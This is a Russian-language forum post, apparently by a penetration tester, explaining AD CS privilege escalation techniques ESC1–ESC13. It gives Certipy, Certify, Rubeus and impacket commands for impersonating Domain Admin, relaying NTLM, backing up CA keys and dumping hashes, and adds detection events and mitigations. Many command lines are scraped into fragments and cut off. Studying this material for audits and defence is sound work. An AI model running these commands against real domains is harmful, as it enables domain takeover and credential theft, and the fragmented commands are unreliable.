![]() |
https://forum.antichat.xyz/attachmen...ccd5abb282.png
Active Directory Certificate Services - компонент, мимо которого я не прохожу ни на одном внутреннем пентесте (общий контекст атак на домен - в гайде по пентесту Active Directory). За последние два года не было ни одного проекта с развёрнутым AD CS, где я не нашёл бы хотя бы одну мисконфигурацию, ведущую к Domain Admin. Причина банальна: админы воспринимают PKI как «просто работающий сервис», а не как Tier 0 актив, требующий такого же внимания, как контроллер домена. Здесь разберу все техники ESC1–ESC13, покажу конкретные команды для эксплуатации через Certipy и Certify, и объясню, где теория расходится с реальностью на боевых проектах. Цитата:
Служба сертификации Active Directory разворачивает собственную PKI-инфраструктуру в доменной сети. Она выпускает сертификаты для аутентификации клиентов, шифрования, подписания кода и других задач. Шаблоны сертификатов определяют параметры выпуска: кому, на какой срок, с какими Extended Key Usage (EKU) и с какими ограничениями. В 2021 году команда SpecterOps опубликовала whitepaper «Certified Pre-Owned», описавший восемь примитивов эскалации привилегий - ESC1–ESC8. Позже Oliver Lyak (автор Certipy) добавил ESC9 и ESC10, Sylvain Heiniger описал ESC11, Hans-Joachim Knobloch - ESC12, а Jonas Bülow Knudsen - ESC13. Каждая техника бьёт в свой класс мисконфигураций, но результат один: сертификат, позволяющий аутентифицироваться от имени привилегированного пользователя. С точки зрения MITRE ATT&CK вся тематика AD CS abuse маппится прежде всего на технику Steal or Forge Authentication Certificates (T1649, Credential Access). Полученный TGT далее используется через Pass the Ticket (T1550.003, Lateral Movement/Defense Evasion), а при компрометации CA - через Golden Ticket (T1558.001, Credential Access) и Private Keys (T1552.004, Credential Access). Реальные APT-группировки активно эксплуатируют эти техники. По данным Semperis, APT29 злоупотреблял мисконфигурациями шаблонов сертификатов для имперсонации привилегированных учёток через SAN-поле. Группировка UNC5330 после эксплуатации CVE-2024-21887 (CVSS 9.1 CRITICAL, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, command injection в Ivanti Connect Secure, требует аутентификации администратора; в реальных кампаниях использовалась в цепочке с CVE-2023-46805 authentication bypass, CVSS 8.2 HIGH) использовала LDAP bind account для злоупотребления уязвимым шаблоном Windows-сертификата, создания компьютерного объекта и имперсонации Domain Admin. Энумерация AD CS инфраструктуры с Certipy и Certify Любой пентест AD CS начинается с разведки. Задача - найти все центры сертификации в домене, перечислить доступные шаблоны и выявить мисконфигурации. Certipy: основной инструмент из Linux Certipy - Python-инструмент Oliver Lyak'а, ставший стандартом для аудита AD CS из Linux-окружений. Одна команда - и полная картина перед глазами: Bash: Код:
certipyКод:
-vulnerableКод:
-enabledКод:
msPKI-Certificate-Name-FlagРезультаты можно скормить BloodHound для визуализации путей атаки. Это позволяет коррелировать данные AD CS с графом привилегий домена и находить цепочки, которые руками обнаружить тяжело. Certify: для Windows-окружений Когда работаем с захваченной Windows-машины, в ход идёт Certify - C#-инструмент: Код: Код:
Certify.exe find /vulnerableESC1: произвольный SAN - хлеб пентестера ESC1 - самая распространённая и самая опасная мисконфигурация, которую я встречаю на проектах. Суть проста: шаблон сертификата позволяет запрашивающему указать произвольное значение Subject Alternative Name (SAN) в CSR-запросе. Условия эксплуатации ESC1 Для успешной атаки шаблон должен одновременно удовлетворять следующим требованиям:
Запрашиваем сертификат от имени Domain Admin: Bash: Код:
certipy req -uBash: Код:
certipy auth -pfx administrator.pfx -dc-ipBash: Код:
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:ntlm_hashНа Windows-машине цепочка выглядит иначе: Код: Код:
Certify.exe request /ca:ca-server.domain.local\domain-CA /template:VulnerableTemplate /altname:administratorКод: Код:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfxКод: Код:
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /nowrapВерификация сертификата Перед использованием убеждаемся, что SAN корректно включён: Bash: Код:
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out admin.pemESC2 и ESC3: Any Purpose и Enrollment Agent ESC2: сертификат-универсал ESC2 бьёт в шаблоны, где EKU содержит Any Purpose ( Код:
2.5.29.37.0Bash: Код:
certipy req -uESC3: двухэтапная атака через Enrollment Agent ESC3 требует двух уязвимых шаблонов. Первый даёт сертификат с EKU Certificate Request Agent ( Код:
1.3.6.1.4.1.311.20.2.1Этап 1 - получаем сертификат Enrollment Agent: Bash: Код:
certipy req -uBash: Код:
certipy req -uESC4: перезапись ACL шаблона - цепочка в ESC1 ESC4 - моя любимая цепочка на проектах. Защитники часто проверяют конфигурацию шаблонов, но забывают про ACL на объектах шаблонов в AD. Классика. Если непривилегированный пользователь имеет права WriteProperty, WriteDacl, WriteOwner или FullControl на объект шаблона сертификата в Код:
CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=ConfigurationЦепочка ESC4 → ESC1 Шаг 1 - находим шаблон с избыточными ACL: Bash: Код:
certipyКод:
[!] VulnerabilitiesШаг 2 - перезаписываем шаблон, делая его уязвимым для ESC1: Bash: Код:
certipy template -uКод:
-save-oldКод:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTШаг 3 - эксплуатируем как стандартный ESC1: Bash: Код:
certipy req -uBash: Код:
certipy template -uESC5–ESC7: атаки на уровне центра сертификации ESC5: контроль над объектами PKI в AD ESC5 расширяет логику ESC4 на все объекты PKI в Active Directory: объект CA, объект Код:
CN=Public Key ServicesПо данным BI.ZONE, обнаружение несанкционированной установки сертификата центра сертификации возможно через аудит изменений атрибутов объекта NTAuthCertificates с помощью Event ID 5136. ESC6: флаг EDITF_ATTRIBUTESUBJECTALTNAME2 ESC6 основан на флаге Код:
EDITF_ATTRIBUTESUBJECTALTNAME2Нюанс, о котором многие забывают: после патча KB5014754 (май 2022) начался постепенный переход к strong certificate mapping. В Compatibility Mode (по умолчанию до февраля 2025) ESC6 мог работать при определённых условиях в зависимости от Код:
StrongCertificateBindingEnforcementКод: Код:
certutil -getreg policy\EditFlagsКод:
EDITF_ATTRIBUTESUBJECTALTNAME2Код:
certutil -v -getreg policy\EditFlagsКод:
EditFlags REG_DWORD = 15014e (1376590)Код:
python3 -c "print(hex(1376590 & 0x00040000))"Код:
0x0ESC7: злоупотребление правами CA Manager ESC7 - многоэтапная атака, требующая прав ManageCA или ManageCertificates на объекте CA. Основной вектор: атакующий с правом ManageCA может:
Код:
EDITF_ATTRIBUTESUBJECTALTNAME2Одна из немногих техник, где атака происходит «изнутри» CA-сервера. Митигация - строгий контроль ACL на объекте CA и ограничение прав ManageCA/ManageCertificates. ESC8: NTLM Relay на Web Enrollment ESC8 - единственная техника из оригинального whitepaper, не требующая прямого доступа к учётным данным. Если на CA включен Web Enrollment (HTTP-эндпоинт Код:
certsrvЦепочка атаки ESC8
Bash: Код:
# Терминал 1: запуск встроенного NTLM relay server (слушает на порту 445)ESC9–ESC11: пост-патчевые техники ESC9: злоупотребление GenericWrite и слабым маппингом ESC9 эксплуатирует ситуацию, когда атакующий имеет GenericWrite на учётную запись и может перезаписать атрибут Код:
userPrincipalNameКод:
CT_FLAG_NO_SECURITY_EXTENSIONКод:
administrator@domain.localКод:
CT_FLAG_NO_SECURITY_EXTENSIONКод:
StrongCertificateBindingEnforcement=1ESC10: слабый маппинг сертификатов ESC10 связан со значениями реестровых ключей на контроллере домена, отвечающих за маппинг сертификатов к учётным записям. Два случая: Case 1 ( Код:
StrongCertificateBindingEnforcement=0Код:
CT_FLAG_NO_SECURITY_EXTENSIONCase 2 ( Код:
CertificateMappingMethodsКод:
0x4ESC11: Relay на RPC (ICertPassage) ESC11 аналогичен ESC8, но вместо HTTP-эндпоинта Web Enrollment используется протокол ICertPassage (RPC). Если на CA не включено требование подписи пакетов для RPC, атакующий может выполнить NTLM relay на RPC-интерфейс CA. Технику описал Sylvain Heiniger. ESC12 и ESC13: HSM и OID Group Link ESC12: доступ к CA с HSM ESC12, описанный Hans-Joachim Knobloch, эксплуатирует ситуацию, когда атакующий получил shell на сервер CA, а приватный ключ CA хранится в Hardware Security Module (HSM). Через CA-утилиты можно подписывать произвольные сертификаты, минуя ограничения HSM. ESC13: OID Group Link - эскалация через пустую группу ESC13 от Jonas Bülow Knudsen - элегантная атака, основанная на механизме Authentication Mechanism Assurance (AMA). Суть: если в шаблоне сертификата задана Issuance Policy, OID которой связан с группой AD через атрибут Код:
msDS-OIDToGroupLinkУсловия ESC13:
Код:
Check-ADCSESC13.ps1Код:
msDS-OIDToGroupLinkЭксплуатация через Certify: Код: Код:
Certify.exe request /ca:ca-server.domain.local\domain-CA /template:ESC13TemplateКод: Код:
Rubeus.exe asktgt /user:lowprivuser /certificate:esc13.pfx /nowrapКод: Код:
Rubeus.exe describe /ticket: /servicekey:От сертификата к Domain Admin: пост-эксплуатация UnPAC-the-hash После получения сертификата через любую ESC-технику следующий шаг - вытащить NT-хэш целевой учётки. Certipy делает это автоматически через PKINIT и U2U: Bash: Код:
certipy auth -pfx administrator.pfx -dc-ipGolden Certificate (DPERSIST1) Если скомпрометирован приватный ключ CA (через ESC5, ESC7 или ESC12), атакующий может подписывать произвольные сертификаты без обращения к CA-серверу - аналог Golden Ticket, но через PKI. Маппится на MITRE ATT&CK Golden Ticket (T1558.001). Bash: Код:
certipy ca -backup -uСвязь с CVE-2022-26923 (Certifried) Отдельная история - CVE-2022-26923, Active Directory Domain Services Elevation of Privilege Vulnerability (CVSS 8.8 HIGH, вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, CWE-295). Уязвимость позволяла создать компьютерный объект с dNSHostName контроллера домена, запросить машинный сертификат по стандартному шаблону Machine и аутентифицироваться от имени DC. В отличие от ESC1, мисконфигурированный шаблон не требовался - баг был в логике маппинга dNSHostName к идентичности при выпуске сертификата. Microsoft выпустил патч, и именно после Certifried усилилось внимание к strong certificate mapping. Обнаружение атак на AD CS Для защитников критично включить аудит на CA-сервере - по умолчанию он выключен. Ключевые Event ID: Event IDОписаниеРелевантные ESC4886Запрос на получение сертификатаESC1, ESC2, ESC34887Сертификат выпущен (для ESC13: проверять Issuance Policy OID, связанный через msDS-OIDToGroupLink)ESC1, ESC2, ESC3, ESC134888Запрос на сертификат отклонёнВсе4898Загрузка шаблона службой CA при старте или обновлении кэша (не при каждом enrollment)-4899Шаблон обновлён в кэше CA (вторичный индикатор; генерируется на CA-сервере)ESC4 (вторичный)4900Изменены разрешения шаблона в кэше CA (вторичный индикатор; генерируется на CA-сервере)ESC4 (вторичный)5136Изменён объект Directory Services (основной индикатор ESC4; генерируется на DC при изменении объекта шаблона через LDAP)ESC4 (основной), ESC5Event 39/41Несовпадение SID при strong mappingESC1 (пост-патч) Для детектирования ESC1 в SIEM нужно сопоставлять поля Requester и UPN в событиях 4886/4887 - если они не совпадают, это аномалия. По данным Black Hills Information Security, базовый KQL-запрос для Microsoft Sentinel: Код: Код:
SecurityEventКод: Код:
Computer Configuration > Policies > Windows Settings > Security Settings >Сводная таблица ESC1–ESC13 ТехникаСуть мисконфигурацииИнструмент СложностьESC1Enrollee Supplies Subject + Client AuthCertipy, CertifyНизкаяESC2Any Purpose EKU или отсутствие EKUCertipyНизкаяESC3Enrollment Agent + второй шаблонCertipyСредняяESC4WriteProperty/WriteDacl на шаблонCertipyСредняяESC5Контро ь над объектами PKI в ADВручнуюВысокаяESC6EDITF_ATTRIBUTES UBJECTALTNAME2CertutilНизкая (до патча)ESC7ManageCA/ManageCertificates праваCertipyСредняяESC8NTLM Relay на HTTP Web EnrollmentCertipy relayСредняяESC9GenericWrite + NO_SECURITY_EXTENSIONCertipyВысокаяESC10С абый маппинг сертификатов на DCCertipyВысокаяESC11NTLM Relay на RPC (ICertPassage)Certipy relayСредняяESC12Shell-доступ к CA с HSMВручнуюВысокаяESC13OID Group Link через msDS-OIDToGroupLinkCertify, CertipyСредняя Практический чеклист для пентестера Минимальная последовательность, которую я выполняю на каждом проекте: 🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей. Зарегистрироваться или Войти Шаг 1 - энумерация: Bash: Код:
certipyШаг 3 - эксплуатация. Начинаю с ESC1, если нашлась. Нет ESC1 - проверяю ESC4 для цепочки ESC4→ESC1. Торчит Web Enrollment - пробую ESC8. Шаг 4 - получение хэша: Bash: Код:
certipy auth -pfx target.pfx -dc-ipBash: Код:
impacket-secretsdump -hashes :NT_HASH domain.local/administrator@10.10.10.1AD CS атаки через злоупотребление шаблонами сертификатов Active Directory - один из самых надёжных путей к Domain Admin в корпоративных сетях. Certipy и Certify автоматизируют большую часть рутины, но понимание механики каждой ESC-техники критично для нестандартных ситуаций, где автоматизация буксует. Проверяйте не только шаблоны, но и ACL, OID-привязки, флаги CA и настройки маппинга. Именно там прячутся самые вкусные мисконфигурации. Запустите Код:
certipy find -vulnerable |
| Время: 00:09 |